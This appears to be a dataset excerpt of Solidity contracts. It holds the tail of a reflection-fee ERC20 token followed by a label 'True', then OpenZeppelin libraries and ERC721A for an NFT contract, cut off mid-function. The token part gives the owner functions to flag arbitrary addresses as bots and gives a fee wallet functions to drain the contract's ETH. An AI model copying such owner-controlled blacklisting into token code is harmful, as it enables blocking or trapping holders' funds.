_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 20000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-02-19
*/
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: erc721a/contracts/ERC721A.sol
// Creator: Chiru Labs
pragma solidity ^0.8.4;
error ApprovalCallerNotOwnerNorApproved();
error ApprovalQueryForNonexistentToken();
error ApproveToCaller();
error ApprovalToCurrentOwner();
error BalanceQueryForZeroAddress();
error MintedQueryForZeroAddress();
error BurnedQueryForZeroAddress();
error MintToZeroAddress();
error MintZeroQuantity();
error OwnerIndexOutOfBounds();
error OwnerQueryForNonexistentToken();
error TokenIndexOutOfBounds();
error TransferCallerNotOwnerNorApproved();
error TransferFromIncorrectOwner();
error TransferToNonERC721ReceiverImplementer();
error TransferToZeroAddress();
error URIQueryForNonexistentToken();
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
*
* Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply.
*
* Assumes that the maximum token id cannot exceed 2**128 - 1 (max value of uint128).
*/
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using Address for address;
using Strings for uint256;
// Compiler will pack this into a single 256bit word.
struct TokenOwnership {
// The address of the owner.
address addr;
// Keeps track of the start time of ownership with minimal overhead for tokenomics.
uint64 startTimestamp;
// Whether the token has been burned.
bool burned;
}
// Compiler will pack this into a single 256bit word.
struct AddressData {
// Realistically, 2**64-1 is more than enough.
uint64 balance;
// Keeps track of mint count with minimal overhead for tokenomics.
uint64 numberMinted;
// Keeps track of burn count with minimal overhead for tokenomics.
uint64 numberBurned;
}
// Compiler will pack the following
// _currentIndex and _burnCounter into a single 256bit word.
// The tokenId of the next token to be minted.
uint128 internal _currentIndex;
// The number of tokens burned.
uint128 internal _burnCounter;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
// Counter underflow is impossible as _burnCounter cannot be incremented
// more than _currentIndex times
unchecked {
return _currentIndex - _burnCounter;
}
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
* This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
uint256 numMintedSoFar = _currentIndex;
uint256 tokenIdsIdx;
// Counter overflow is impossible as the loop breaks when
// uint256 i is equal to another uint256 numMintedSoFar.
unchecked {
for (uint256 i; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (!ownership.burned) {
if (tokenIdsIdx == index) {
return i;
}
tokenIdsIdx++;
}
}
}
revert TokenIndexOutOfBounds();
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
if (index >= balanceOf(owner)) revert OwnerIndexOutOfBounds();
uint256 numMintedSoFar = _currentIndex;
uint256 tokenIdsIdx;
address currOwnershipAddr;
// Counter overflow is impossible as the loop breaks when
// uint256 i is equal to another uint256 numMintedSoFar.
unchecked {
for (uint256 i; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (ownership.burned) {
continue;
}
if (ownership.addr != address(0)) {
currOwnershipAddr = ownership.addr;
}
if (currOwnershipAddr == owner) {
if (tokenIdsIdx == index) {
return i;
}
tokenIdsIdx++;
}
}
}
// Execution should never reach this point.
revert();
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
if (owner == address(0)) revert BalanceQueryForZeroAddress();
return uint256(_addressData[owner].balance);
}
function _numberMinted(address owner) internal view returns (uint256) {
if (owner == address(0)) revert MintedQueryForZeroAddress();
return uint256(_addressData[owner].numberMinted);
}
function _numberBurned(address owner) internal view returns (uint256) {
if (owner == address(0)) revert BurnedQueryForZeroAddress();
return uint256(_addressData[owner].numberBurned);
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
uint256 curr = tokenId;
unchecked {
if (curr < _currentIndex) {
TokenOwnership memory ownership = _ownerships[curr];
if (!ownership.burned) {
if (ownership.addr != address(0)) {
return ownership;
}
// Invariant:
// There will always be an ownership that has an address and is not burned
// before an ownership that does not have an address and is not burned.
// Hence, curr will not underflow.
while (true) {
curr--;
ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
}
}
}
revert OwnerQueryForNonexistentToken();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
if (!_exists(tokenId)) revert URIQueryForNonexistentToken();
string memory baseURI = _baseURI();
return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : '';
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return '';
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = ERC721A.ownerOf(tokenId);
if (to == owner) revert ApprovalToCurrentOwner();
if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) {
revert ApprovalCallerNotOwnerNorApproved();
}
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
if (operator == _msgSender()) revert ApproveToCaller();
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, '');
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
_transfer(from, to, tokenId);
if (!_checkOnERC721Received(from, to, tokenId, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return tokenId < _currentIndex && !_ownerships[tokenId].burned;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, '');
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
_mint(to, quantity, _data, true);
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(
address to,
uint256 quantity,
bytes memory _data,
bool safe
) internal {
uint256 startTokenId = _currentIndex;
if (to == address(0)) revert MintToZeroAddress();
if (quantity == 0) revert MintZeroQuantity();
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
// Overflows are incredibly unrealistic.
// balance or numberMinted overflow if current value of either + quantity > 3.4e38 (2**128) - 1
// updatedIndex overflows if _currentIndex + quantity > 3.4e38 (2**128) - 1
unchecked {
_addressData[to].balance += uint64(quantity);
_addressData[to].numberMinted += uint64(quantity);
_ownerships[startTokenId].addr = to;
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
uint256 updatedIndex = startTokenId;
for (uint256 i; i < quantity; i++) {
emit Transfer(address(0), to, updatedIndex);
if (safe && !_checkOnERC721Received(address(0), to, updatedIndex, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
updatedIndex++;
}
_currentIndex = uint128(updatedIndex);
}
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
isApprovedForAll(prevOwnership.addr, _msgSender()) ||
getApproved(tokenId) == _msgSender());
if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
if (prevOwnership.addr != from) revert TransferFromIncorrectOwner();
